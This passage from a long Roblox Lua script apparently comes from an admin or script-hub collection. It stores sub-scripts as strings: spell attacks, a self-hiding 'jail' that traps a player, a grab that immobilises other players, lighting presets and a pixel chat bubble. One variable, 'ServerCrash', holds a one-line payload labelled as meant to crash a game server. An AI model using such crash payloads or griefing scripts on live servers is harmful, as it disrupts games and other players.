4264 | for i,v in pairs(toucher.Parent:children()) do | |
4265 | if v.ClassName == 'Humanoid' then | |
4266 | if v.Health > 100 then | |
4267 | v.Health = 100 | |
4268 | else | |
4269 | v.Health = v.Health - speed/50 | |
4270 | end | |
4271 | end | |
4272 | end | |
4273 | bullet:Destroy() | |
4274 | end | |
4275 | end) | |
4276 | wait(1) | |
4277 | shooting = false | |
4278 | humanoid.WalkSpeed = 16 | |
4279 | end | |
4280 | function __FireBall() | |
4281 | if Regening == true then return end | |
4282 | if Energy < 50 then return end | |
4283 | if FireBall == true then return end | |
4284 | Energy = Energy - 50 | |
4285 | local a = Instance.new("Part",workspace) | |
4286 | a.Anchored = true | |
4287 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-5) | |
4288 | a.FormFactor = 'Custom' | |
4289 | a.Size = Vector3.new(5,5,5) | |
4290 | Instance.new("SpecialMesh", a).MeshType = 'Sphere' | |
4291 | local b = Instance.new('Decal',a) | |
4292 | b.Texture = 'http://www.roblox.com/asset/?id=58278973' | |
4293 | b.Face = 'Right' | |
4294 | local c = Instance.new('Decal',a) | |
4295 | c.Texture = 'http://www.roblox.com/asset/?id=58278973' | |
4296 | c.Face = 'Left' | |
4297 | local d = Instance.new('Decal',a) | |
4298 | d.Texture = 'http://www.roblox.com/asset/?id=58278973' | |
4299 | d.Face = 'Top' | |
4300 | local e = Instance.new('Decal',a) | |
4301 | e.Texture = 'http://www.roblox.com/asset/?id=58278973' | |
4302 | e.Face = 'Front' | |
4303 | local f = Instance.new('Decal',a) | |
4304 | f.Texture = 'http://www.roblox.com/asset/?id=58278973' | |
4305 | f.Face = 'Back' | |
4306 | local g = Instance.new('Decal',a) | |
4307 | g.Texture = 'http://www.roblox.com/asset/?id=58278973' | |
4308 | g.Face = 'Bottom' | |
4309 | local x = Instance.new('Fire',a) | |
4310 | x.Size = 20 | |
4311 | local con = a.Touched:connect(function(what) | |
4312 | if what.Parent.Name ~= LocalPlayer.Name then | |
4313 | if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then | |
4314 | what:Destroy() | |
4315 | end | |
4316 | end | |
4317 | end) | |
4318 | coroutine.wrap(function() | |
4319 | FireBall = true | |
4320 | humanoid.WalkSpeed = 0 | |
4321 | for i = 0,1,0.05 do | |
4322 | a.Mesh.Scale = Vector3.new(i,i,i) | |
4323 | wait() | |
4324 | end | |
4325 | FireBall = false | |
4326 | humanoid.WalkSpeed = 16 | |
4327 | while wait() do | |
4328 | if a == nil or a.Parent ~= workspace then break end | |
4329 | a.CFrame = a.CFrame * CFrame.new(0,0,-1) | |
4330 | end | |
4331 | con:disconnect() | |
4332 | end)() | |
4333 | coroutine.wrap(function() | |
4334 | wait(5) | |
4335 | Instance.new("Explosion",workspace).Position = a.Position | |
4336 | a:Destroy() | |
4337 | end)() | |
4338 | end | |
4339 | function __Spikes() | |
4340 | if Regening == true then return end | |
4341 | if Energy < 25 then return end | |
4342 | if Spikes == true then return end | |
4343 | Energy = Energy - 25 | |
4344 | Spikes = true | |
4345 | humanoid.WalkSpeed = 0 | |
4346 | for z = 0,6 do | |
4347 | local a = Instance.new("Part",workspace) | |
4348 | a.FormFactor = 'Custom' | |
4349 | a.Size = Vector3.new(2.4, 3.4, 2.4) | |
4350 | a.Anchored = true | |
4351 | local b = Instance.new("SpecialMesh",a) | |
4352 | b.MeshId = 'http://www.roblox.com/asset/?id=1033714' | |
4353 | b.TextureId = 'http://www.roblox.com/asset?id=39251676' | |
4354 | b.VertexColor = Vector3.new(1, 1, 1) | |
4355 | b.Scale = Vector3.new(1.2, 5.4, 1.2) | |
4356 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,-0.5,-(z*4)-2) | |
4357 | local con = a.Touched:connect(function(what) | |
4358 | if what.Parent.Name ~= LocalPlayer.Name then | |
4359 | if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then | |
4360 | for i,v in pairs(what.Parent:children()) do | |
4361 | if v.ClassName == 'Humanoid' then | |
4362 | if v.Health > 100 then v.Health = 100 end | |
4363 | v.Health = v.Health - 10 | |
4364 | end | |
4365 | end | |
4366 | end | |
4367 | end | |
4368 | end) | |
4369 | coroutine.wrap(function() | |
4370 | wait(3) | |
4371 | a:Destroy() | |
4372 | con:disconnect() | |
4373 | end)() | |
4374 | wait() | |
4375 | end | |
4376 | humanoid.WalkSpeed = 16 | |
4377 | Spikes = false | |
4378 | end | |
4379 | function __Lightning() | |
4380 | if Energy < 40 then return end | |
4381 | if Lightning == true then return end | |
4382 | if Regening == true then return end | |
4383 | humanoid.WalkSpeed = 0 | |
4384 | Lightning = true | |
4385 | Energy = Energy - 40 | |
4386 | local function segment(pos1,pos2,color) | |
4387 | local dis=(pos1-pos2).magnitude | |
4388 | local p=Instance.new("Part") | |
4389 | p.CanCollide=false | |
4390 | p.FormFactor="Custom" | |
4391 | p.Size=Vector3.new(.2,.2,dis) | |
4392 | p.Anchored=true | |
4393 | p.CFrame=CFrame.new(pos1,pos2)*CFrame.new(0,0,-dis/2) | |
4394 | p.BrickColor=color | |
4395 | return p | |
4396 | end | |
4397 | target = mouse.Hit | |
4398 | height=200 | |
4399 | prev=(target*CFrame.new(0,300,0)).p | |
4400 | for i=height,30,-50 do | |
4401 | cur=Vector3.new(math.random(15)+target.x,i,math.random(15)+target.z) | |
4402 | p=segment(prev,cur,BrickColor.new("New Yeller")) | |
4403 | p.Parent=workspace | |
4404 | game:service("Debris"):AddItem(p,3) | |
4405 | prev=cur | |
4406 | wait() | |
4407 | end | |
4408 | p=segment(prev,target.p,BrickColor.new("New Yeller")) | |
4409 | p.Parent=workspace | |
4410 | game:service("Debris"):AddItem(p,3) | |
4411 | Instance.new("Explosion",workspace).Position=target.p | |
4412 | wait(1) | |
4413 | Lightning = false | |
4414 | humanoid.WalkSpeed = 16 | |
4415 | end | |
4416 | function __ManaExplosion() | |
4417 | if Energy < 100 then return end | |
4418 | if ManaExplosion == true then return end | |
4419 | if Regening == true then return end | |
4420 | humanoid.WalkSpeed = 0 | |
4421 | ManaExplosion = true | |
4422 | Energy = Energy - 100 | |
4423 | local Fire = Instance.new("Fire",LocalPlayer.Character.Torso) | |
4424 | for i = 0,100 do | |
4425 | Fire.Size = i | |
4426 | wait() | |
4427 | end | |
4428 | Fire:remove() | |
4429 | local a = Instance.new("Explosion", LocalPlayer.Character) | |
4430 | a.Position = LocalPlayer.Character.Torso.Position | |
4431 | a.BlastPressure = 1e100 | |
4432 | a.BlastRadius = 1e100 | |
4433 | ManaExplosion = false | |
4434 | humanoid.WalkSpeed = 16 | |
4435 | end | |
4436 | t.Activated:connect(__onActivated) | |
4437 | t.Deactivated:connect(__onDeactivated) | |
4438 | t.Equipped:connect(__onEquipped) | |
4439 | t.Unequipped:connect(__onUnequipped) | |
4440 | coroutine.wrap(function() | |
4441 | while wait() do | |
4442 | if Activated == true then | |
4443 | if Mode == 'Shoot' then | |
4444 | __Shoot() | |
4445 | elseif Mode == 'FireBall' then | |
4446 | __FireBall() | |
4447 | elseif Mode == 'Spikes' then | |
4448 | __Spikes() | |
4449 | elseif Mode == 'Lightning' then | |
4450 | __Lightning() | |
4451 | elseif Mode == 'ManaExplosion' then | |
4452 | __ManaExplosion() | |
4453 | end | |
4454 | end | |
4455 | if Regening == true then | |
4456 | Energy = Energy + 5 | |
4457 | wait(1) | |
4458 | end | |
4459 | end | |
4460 | end)() | |
4461 | mouse.KeyDown:connect(function(key) | |
4462 | if key == 'r' then | |
4463 | humanoid.WalkSpeed = 0 | |
4464 | Regening = true | |
4465 | end | |
4466 | if key == 'c' then | |
4467 | if Mode == 'Shoot' then | |
4468 | Mode = 'FireBall' | |
4469 | elseif Mode == 'FireBall' then | |
4470 | Mode = 'Spikes' | |
4471 | elseif Mode == 'Spikes' then | |
4472 | Mode = 'Lightning' | |
4473 | elseif Mode == 'Lightning' then | |
4474 | Mode = 'ManaExplosion' | |
4475 | else | |
4476 | Mode = 'Shoot' | |
4477 | end | |
4478 | end | |
4479 | end) | |
4480 | mouse.KeyUp:connect(function(key) | |
4481 | if key == 'r' then | |
4482 | humanoid.WalkSpeed = 16 | |
4483 | Regening = false | |
4484 | end | |
4485 | end) | |
4486 | count = 0 | |
4487 | countspeed = 0.70 | |
4488 | coroutine.wrap(function() | |
4489 | while wait() do | |
4490 | if Energy > 100 then Energy = 100 end | |
4491 | if Energy < 0 then Energy = 0 end | |
4492 | TEXTLABEL.Text = "Mana: "..tostring(Energy) | |
4493 | TEXTLABEL2.Text = "Health: "..tostring(math.floor(humanoid.Health)) | |
4494 | if Mode == 'Shoot' then | |
4495 | TEXTLABEL3.Text = 'Spell: Star shoot (5 mana)' | |
4496 | elseif Mode == 'FireBall' then | |
4497 | TEXTLABEL3.Text = 'Spell: Fire ball (50 mana)' | |
4498 | elseif Mode == 'Spikes' then | |
4499 | TEXTLABEL3.Text = 'Spell: Spikes row (25 mana)' | |
4500 | elseif Mode == 'Lightning' then | |
4501 | TEXTLABEL3.Text = 'Spell: Lightning (40 mana)' | |
4502 | elseif Mode == 'ManaExplosion' then | |
4503 | TEXTLABEL3.Text = 'Spell: Mana explosion (100 mana) *KILLS EVERYTHING*' | |
4504 | end | |
4505 | count = (count % 100) + countspeed | |
4506 | angle = math.pi * math.sin(math.pi*2/100*count) | |
4507 | if Vector3.new(0, torso.Velocity.y, 0).magnitude > 2 then | |
4508 | countspeed = 8 | |
4509 | if Equipped == false then | |
4510 | rm.C0 = rsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0)) | |
4511 | else | |
4512 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0) | |
4513 | end | |
4514 | lm.C0 = lsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0)) | |
4515 | rlegm.C0 = rlc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0) | |
4516 | llegm.C0 = llc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0) | |
4517 | neck.C0 = neckc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05),0,0) | |
4518 | rootpart.RootJoint.C0 = rootc0 * CFrame.Angles(0,0,0) | |
4519 | wait() | |
4520 | elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then --stand | |
4521 | if shooting then | |
4522 | countspeed = 8 | |
4523 | rj.C0 = rootc0 * CFrame.Angles(0,0,math.rad(25)) | |
4524 | rlegm.C0 = rlc0 * CFrame.Angles(math.rad(5), -math.rad(25), 0) --right leg | |
4525 | llegm.C0 = llc0 * CFrame.Angles(-math.rad(5), -math.rad(25), -0) --left leg | |
4526 | lm.C0 = lsc0 * CFrame.Angles(-math.rad(30), 0, -math.rad(25)) --left arm | |
4527 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90)+angle*0.050, 0, 0) --right arm | |
4528 | elseif Regening == true then | |
4529 | if Energy == 100 then Regening = false end | |
4530 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
4531 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
4532 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
4533 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(20)) | |
4534 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-20)) | |
4535 | neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0) | |
4536 | elseif FireBall == true then | |
4537 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
4538 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
4539 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
4540 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10)) | |
4541 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10)) | |
4542 | neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0) | |
4543 | elseif Spikes == true then | |
4544 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
4545 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
4546 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
4547 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10)) | |
4548 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10)) | |
4549 | neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0) | |
4550 | elseif Lightning == true then | |
4551 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
4552 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
4553 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
4554 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10)) | |
4555 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10)) | |
4556 | neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0) | |
4557 | elseif ManaExplosion == true then | |
4558 | coroutine.wrap(function() | |
4559 | for i = 0,360 do | |
4560 | rj.C0 = rootc0 * CFrame.Angles(0,0,0) | |
4561 | wait() | |
4562 | end | |
4563 | end)() | |
4564 | llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15)) | |
4565 | rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15)) | |
4566 | lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10)) | |
4567 | rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10)) | |
4568 | neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0) | |
4569 | else | |
4570 | countspeed = 0.70-- this judges how fast idle animation goes | |
4571 | rlegm.C0 = rlc0 * CFrame.Angles(0, 0, 0) --right leg | |
4572 | llegm.C0 = llc0 * CFrame.Angles(0, 0, -0) --left leg | |
4573 | lm.C0 = lsc0 * CFrame.Angles(-angle*0.050, 0, 0) --left arm | |
4574 | if Equipped == false then | |
4575 | rm.C0 = rsc0 * CFrame.Angles(angle*0.050, 0, 0) --right arm | |
4576 | else | |
4577 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0) | |
4578 | end | |
4579 | neck.C0 = neckc0 * CFrame.Angles(-angle*0.025, 0, 0) --head | |
4580 | rj.C0 = rootc0 * CFrame.Angles(-math.rad(1), 0, 0) --torso | |
4581 | end | |
4582 | elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude > 2 then-- walk | |
4583 | countspeed = 8-- this judges how fast the walk animation goes | |
4584 | rlegm.C0 = rlc0 * CFrame.Angles(-angle*0.100, 0, 0) | |
4585 | llegm.C0 = llc0 * CFrame.Angles(angle*0.100, 0, 0) | |
4586 | neck.C0 = neckc0 * CFrame.Angles(0, 0, 0) | |
4587 | lm.C0 = lsc0 * CFrame.Angles(-angle*0.100, 0, 0) | |
4588 | if Equipped == false then | |
4589 | rm.C0 = rsc0 * CFrame.Angles(angle*0.100, 0, 0) | |
4590 | else | |
4591 | rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0) | |
4592 | end | |
4593 | rj.C0 = rootc0 * CFrame.Angles(0, 0, 0) | |
4594 | end | |
4595 | end | |
4596 | end)() | |
4597 | ]] | |
4598 | Raven = [[ | |
4599 | local fp = Instance.new("Part", game:GetService("Players").LocalPlayer.Character) | |
4600 | fp.Anchored = true | |
4601 | fp.Size = Vector3.new(10, 3, 25) | |
4602 | game:GetService("Players").LocalPlayer.Character.Humanoid.WalkSpeed = 32 | |
4603 | ||
4604 | local players = {} | |
4605 | ||
4606 | local fpm = Instance.new("SpecialMesh", fp) | |
4607 | fpm.MeshId = "http://www.roblox.com/asset/?id=20925363" | |
4608 | fpm.TextureId = "http://www.roblox.com/asset/?id=20925361" | |
4609 | fpm.Scale = Vector3.new(10, 10, 10) | |
4610 | fpm.VertexColor = Vector3.new(1, 0, 0) | |
4611 | ||
4612 | fp.Touched:connect(function(part) | |
4613 | pcall(function() | |
4614 | table.insert(players, part.Parent:findFirstChild("Torso")) | |
4615 | part.Parent:findFirstChild("Torso").Anchored = true | |
4616 | part.Parent:findFirstChild("Humanoid").WalkSpeed = 0 | |
4617 | end) | |
4618 | end) | |
4619 | ||
4620 | while wait() do | |
4621 | fp.CFrame = CFrame.new(game:GetService("Players").LocalPlayer.Character.Torso.CFrame.x, game:GetService("Players").LocalPlayer.Character.Torso.CFrame.y - 5, game:GetService("Players").LocalPlayer.Character.Torso.CFrame.z) * CFrame.Angles(game:GetService("Players").LocalPlayer.Character.Torso.CFrame:toEulerAnglesXYZ()) | |
4622 | fp.Position = fp.CFrame.p | |
4623 | for i, v in pairs(players) do | |
4624 | v.CFrame = fp.CFrame * CFrame.new(0, 3, 2) | |
4625 | end | |
4626 | end ]] | |
4627 | JailSource = [[ wait(0) | |
4628 | script.Parent = nil | |
4629 | ||
4630 | local LP = game:GetService("Players").LocalPlayer | |
4631 | Middle2 = nil | |
4632 | Middle = nil | |
4633 | game:GetService("Workspace").CurrentCamera:ClearAllChildren() | |
4634 | ||
4635 | Cons = {} | |
4636 | ||
4637 | function makePrison() | |
4638 | for _,v in pairs(Cons) do | |
4639 | v:disconnect() | |
4640 | end | |
4641 | game:GetService("Workspace").CurrentCamera:ClearAllChildren() | |
4642 | if Middle == nil then | |
4643 | Middle2 = LP.Character.Torso.Position | |
4644 | Middle = LP.Character.Torso.CFrame | |
4645 | end | |
4646 | local side1 = Instance.new("Part") | |
4647 | side1.Name = "¬Focus1¬" | |
4648 | side1.Size = Vector3.new(20, 50, 1) | |
4649 | side1.CFrame = Middle * CFrame.new(0, 0, -10) | |
4650 | side1.BrickColor = BrickColor.new("Really black") | |
4651 | side1.CanCollide = true | |
4652 | side1.Anchored = true | |
4653 | side1.TopSurface = "Smooth" | |
4654 | side1.BottomSurface = "Smooth" | |
4655 | side1.Parent = game:GetService("Workspace").CurrentCamera | |
4656 | ||
4657 | local side2 = Instance.new("Part") | |
4658 | side2.Name = "¬Focus2¬" | |
4659 | side2.Size = Vector3.new(20, 50, 1) | |
4660 | side2.CFrame = Middle * CFrame.new(0, 0, 10) | |
4661 | side2.BrickColor = BrickColor.new("Really black") | |
4662 | side2.CanCollide = true | |
4663 | side2.Anchored = true | |
4664 | side2.TopSurface = "Smooth" | |
4665 | side2.BottomSurface = "Smooth" | |
4666 | side2.Parent = game:GetService("Workspace").CurrentCamera | |
4667 | ||
4668 | local side3 = Instance.new("Part") | |
4669 | side3.Name = "¬Focus3¬" | |
4670 | side3.Size = Vector3.new(1, 50, 20) | |
4671 | side3.CFrame = Middle * CFrame.new(10, 0, 0) | |
4672 | side3.BrickColor = BrickColor.new("Really black") | |
4673 | side3.CanCollide = true | |
4674 | side3.Anchored = true | |
4675 | side3.TopSurface = "Smooth" | |
4676 | side3.BottomSurface = "Smooth" | |
4677 | side3.Parent = game:GetService("Workspace").CurrentCamera | |
4678 | ||
4679 | local side4 = Instance.new("Part") | |
4680 | side4.Name = "¬Focus4¬" | |
4681 | side4.Size = Vector3.new(1, 50, 20) | |
4682 | side4.CFrame = Middle * CFrame.new(-10, 0, 0) | |
4683 | side4.BrickColor = BrickColor.new("Really black") | |
4684 | side4.CanCollide = true | |
4685 | side4.Anchored = true | |
4686 | side4.TopSurface = "Smooth" | |
4687 | side4.BottomSurface = "Smooth" | |
4688 | side4.Parent = game:GetService("Workspace").CurrentCamera | |
4689 | ||
4690 | local side5 = Instance.new("Part") | |
4691 | side5.Name = "¬Focus5¬" | |
4692 | side5.Size = Vector3.new(20, 1, 20) | |
4693 | side5.CFrame = Middle * CFrame.new(0, -3.5, 0) | |
4694 | side5.BrickColor = BrickColor.new("Really black") | |
4695 | side5.CanCollide = true | |
4696 | side5.Anchored = true | |
4697 | side5.TopSurface = "Smooth" | |
4698 | side5.BottomSurface = "Smooth" | |
4699 | side5.Parent = game:GetService("Workspace").CurrentCamera | |
4700 | ||
4701 | wait(0) | |
4702 | ||
4703 | table.insert(Cons, side1.Changed:connect(makePrison)) | |
4704 | table.insert(Cons, side2.Changed:connect(makePrison)) | |
4705 | table.insert(Cons, side3.Changed:connect(makePrison)) | |
4706 | table.insert(Cons, side4.Changed:connect(makePrison)) | |
4707 | table.insert(Cons, side5.Changed:connect(makePrison)) | |
4708 | end | |
4709 | ||
4710 | Delay(0, function() | |
4711 | while wait(0) do | |
4712 | ypcall(function() | |
4713 | if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then | |
4714 | LP.Character:BreakJoints() | |
4715 | elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then | |
4716 | makePrison() | |
4717 | end | |
4718 | end) | |
4719 | ypcall(function() | |
4720 | if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then | |
4721 | LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10) | |
4722 | end | |
4723 | end) | |
4724 | end | |
4725 | end) | |
4726 | if not workspace.CurrentCamera:findFirstChild("Hint") then | |
4727 | local mes = Instance.new("Hint", workspace.CurrentCamera) | |
4728 | mes.Text = string.gsub("Now,Perish before you.","","\5") | |
4729 | end | |
4730 | ]] | |
4731 | ||
4732 | Day = [[game:service'Lighting'.TimeOfDay = 14 | |
4733 | game:service'Lighting'.OutdoorAmbient = Color3.new(128/255, 128/255, 128/255) | |
4734 | game:service'Lighting'.Brightness = 1 | |
4735 | game:service'Lighting'.Ambient = Color3.new() | |
4736 | game:service'Lighting'.GlobalShadows = true | |
4737 | game:service'Lighting'.GeographicLatitude = 41.733 | |
4738 | game:service'Lighting'.FogEnd = 100000 | |
4739 | game:service'Lighting'.FogColor = Color3.new(192/255, 192/255, 192/255) | |
4740 | game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]] | |
4741 | Morning = [[game:service'Lighting'.TimeOfDay = 7 | |
4742 | game:service'Lighting'.OutdoorAmbient = Color3.new(128/255, 128/255, 128/255) | |
4743 | game:service'Lighting'.Brightness = 1 | |
4744 | game:service'Lighting'.Ambient = Color3.new() | |
4745 | game:service'Lighting'.GlobalShadows = true | |
4746 | game:service'Lighting'.GeographicLatitude = 41.733 | |
4747 | game:service'Lighting'.FogEnd = 100000 | |
4748 | game:service'Lighting'.FogColor = Color3.new(192/255, 192/255, 192/255) | |
4749 | game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]] | |
4750 | Night = [[game:service'Lighting'.TimeOfDay = 0 | |
4751 | game:service'Lighting'.OutdoorAmbient = Color3.new(0.1, 0.1, 0.15) | |
4752 | game:service'Lighting'.Brightness = 1 | |
4753 | game:service'Lighting'.Ambient = Color3.new() | |
4754 | game:service'Lighting'.GlobalShadows = true | |
4755 | game:service'Lighting'.GeographicLatitude = 41.733 | |
4756 | game:service'Lighting'.FogEnd = 100000 | |
4757 | game:service'Lighting'.FogColor = Color3.new() | |
4758 | game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]] | |
4759 | ServerCrash = [[Instance.new("ManualSurfaceJointInstance", game.Workspace) | |
4760 | ]] | |
4761 | PixelChatSource = [[ | |
4762 | wait(0.001) | |
4763 | script:ClearAllChildren(); | |
4764 | script.Parent=nil; | |
4765 | wait(1) | |
4766 | LocalPlayer = game:service'Players'.LocalPlayer | |
4767 | Letters = {"00000000000000000000000000000000000","01000010000100001000010000000001000","10100101000000000000000000000000000","00000010101111101010111110101000000","00100111111010011111001011111100100","00000000001100111010001000101110011","00100010100101001010011011001001101","00100001000000000000000000000000000","00010001000100001000010000010000010","01000001000001000010000100010001000","00100011100010000000000000000000000","00000001000010011111001000010000000","00000000000000000000110001100001000","00000000000000000000011100000000000","00000000000000000000000001100011000","00000000100001000100001000100001000","01110100011001110101110011000101110","00100011000010000100001000010011111","01110100010000100110010001000111111","01110100010000100110000011000101110","00011001010100110001111110000100001","11111100001111000001000011000101110","00110010001000011110100011000101110","11111100010000100010001000010000100","01110100011000101110100011000101110","01110100011000101111000010001001100","00000000000110001100000000110001100","00000011000110000000011000110000100","00010001000100010000010000010000010","00000000001111100000111110000000000","01000001000001000001000100010001000","01110100010000100010001000000000100","01110100011011110101101111000001111","01110100011111110001100011000110001","11110100011111010001100011000111110","01110100011000010000100001000101110","11110100011000110001100011000111110","11111100001110010000100001000011111","11111100001110010000100001000010000","01111100001001110001100011000101110","10001100011111110001100011000110001","01110001000010000100001000010001110","00001000010000100001000011000101110","10010101001100011000101001001010010","10000100001000010000100001000011111","10001110111010110001100011000110001","10001110011010110011100011000110001","01110100011000110001100011000101110","11110100011111010000101001000010000","01110100011000110001100011001001101","11110100011111010001100011000110001","01111100000111000001000011000101110","11111001000010000100001000010000100","10001100011000110001100011000101110","10001100011000110001010100101000100","10001100011000110001101011101110001","10001010100010001010100011000110001","10001010100010000100001000010000100","11111000010001000100010001000011111","01110010000100001000010000100001110","00000010000100000100001000001000010","01110000100001000010000100001001110","00000001000101000000000000000000000","00000000000000000000000000000011111","01000001000000000000000000000000000","00000000000111000001011111000101111","10000100001011011001100011000111110","00000000000111010001100001000101110","00001000010110110011100011000101111","00000000000111010001111111000001111","00011001000111100100001000010000100","00000000000111110001011110000111110","10000100001011011001100011000110001","00100000000010000100001000010000100","00001000000000100001100011000101110","10000100001001010100110001010010010","00100001000010000100001000010000010","00000000001101010101101011000110001","00000000001111010001100011000110001","00000000000111010001100011000101110","00000000001011011001111101000010000","00000000000110110011011110000100001","00000000001011011001100001000010000","00000000000111110000011100000111110","00100001000111000100001000010000010","00000000001000110001100011000101111","00000000001000110001100010101000100","00000000001000110001101011010101111","00000000001000101010001000101010001","00000000001000110001011110000111110","00000000001111100010001000100011111","00010001000010001000001000010000010","10000100001000010000100001000010000","01000001000010000010001000010001000","00000000000000000010101010100000000"} | |
4768 | DeModel = Instance.new("BillboardGui", workspace:findFirstChild(LocalPlayer.Name)) | |
4769 | DeModel.StudsOffset = Vector3.new(0,2.5,0) | |
4770 | DeModel.Name = ":D" | |
4771 | FR = Instance.new("Frame",DeModel) | |
4772 | FR.Size=UDim2.new(1,0,1,0) | |
4773 | FR.BackgroundColor3=BrickColor.new("Institutional white").Color | |
4774 | FR.BorderSizePixel=0 | |
4775 | FR.ZIndex=2 | |
4776 | CurrParent = workspace:findFirstChild(LocalPlayer.Name).Head | |
4777 | game:service'RunService'.RenderStepped:connect(function() | |
4778 | pcall(function() | |
4779 | local a = workspace:findFirstChild(LocalPlayer.Name) | |
4780 | if a.ClassName == 'Part' then | |
4781 | CurrParent = a | |
4782 | else | |
4783 | CurrParent = a:findFirstChild'Head' | |
4784 | end | |
4785 | end) | |
4786 | if DeModel.Parent ~= CurrParent or DeModel == nil or FR.Parent ~= DeModel or FR == nil then | |
4787 | pcall(function() | |
4788 | if CurrParent.ClassName == 'Part' then | |
4789 | DeModel = Instance.new("BillboardGui", CurrParent) | |
4790 | DeModel.Adornee = CurrParent | |
4791 | DeModel.StudsOffset = Vector3.new(0,2.5,0) | |
4792 | DeModel.Name = ":D" | |
4793 | FR = Instance.new("Frame",DeModel) | |
4794 | FR.Size=UDim2.new(1,0,1,0) | |
4795 | FR.BackgroundColor3=BrickColor.new("Institutional white").Color | |
4796 | FR.BorderSizePixel=0 | |
4797 | FR.ZIndex=2 | |
4798 | end | |
4799 | end) | |
4800 | end | |
4801 | end) | |
4802 | function CreateLetter(what, pos, posy, cl) | |
4803 | pcall(function() | |
4804 | if cl == nil then cl = "Really black" end | |
4805 | if Letters[what:byte()-31] then | |
4806 | what = Letters[what:byte()-31] | |
4807 | else | |
4808 | what = Letters[1] | |
4809 | end | |
4810 | if type(what) ~= "string" then return end | |
4811 | what = what:gsub('\n','') | |
4812 | what = what:gsub('\t','') | |
4813 | what = what:gsub(' ','') | |
4814 | pos = pos * 2 | |
4815 | posy = posy * 2 | |
4816 | c = 0 | |
4817 | for y=1,7 do | |
4818 | for x=1,5 do | |
4819 | c = c + 1 | |
4820 | if what:sub(c, c) == "1" then | |
4821 | local a = Instance.new("Frame", FR) | |
4822 | a.Name = "L" | |
4823 | a.ZIndex=3 | |
4824 | a.Size = UDim2.new(0,2,0,2) | |
4825 | a.BorderSizePixel = 0 | |
4826 | a.BackgroundTransparency = 1 | |
4827 | a.BackgroundColor3 = BrickColor.new(cl).Color | |
4828 | a.Position = UDim2.new(0,((x+1)*2)+pos,0,(y*2)+posy) | |
4829 | coroutine.wrap(function() | |
4830 | wait(math.random(1, 10)/50) | |
4831 | a.BackgroundTransparency = 0 | |
4832 | end)() | |
4833 | end | |
4834 | end | |
4835 | end | |
4836 | end) | |
4837 | end | |
4838 | LocalPlayer.Chatted:connect(function(m) | |
4839 | pcall(function() | |
4840 | local cl = "Really black" | |
4841 | for _,v in pairs(DeModel.Frame:children()) do | |
4842 | v:Destroy() | |
4843 | end | |
4844 | if m:sub(1,2) == '/e' then return end | |
4845 | if m:sub(1,3) == "/! " then | |
4846 | m = m:sub(4) | |
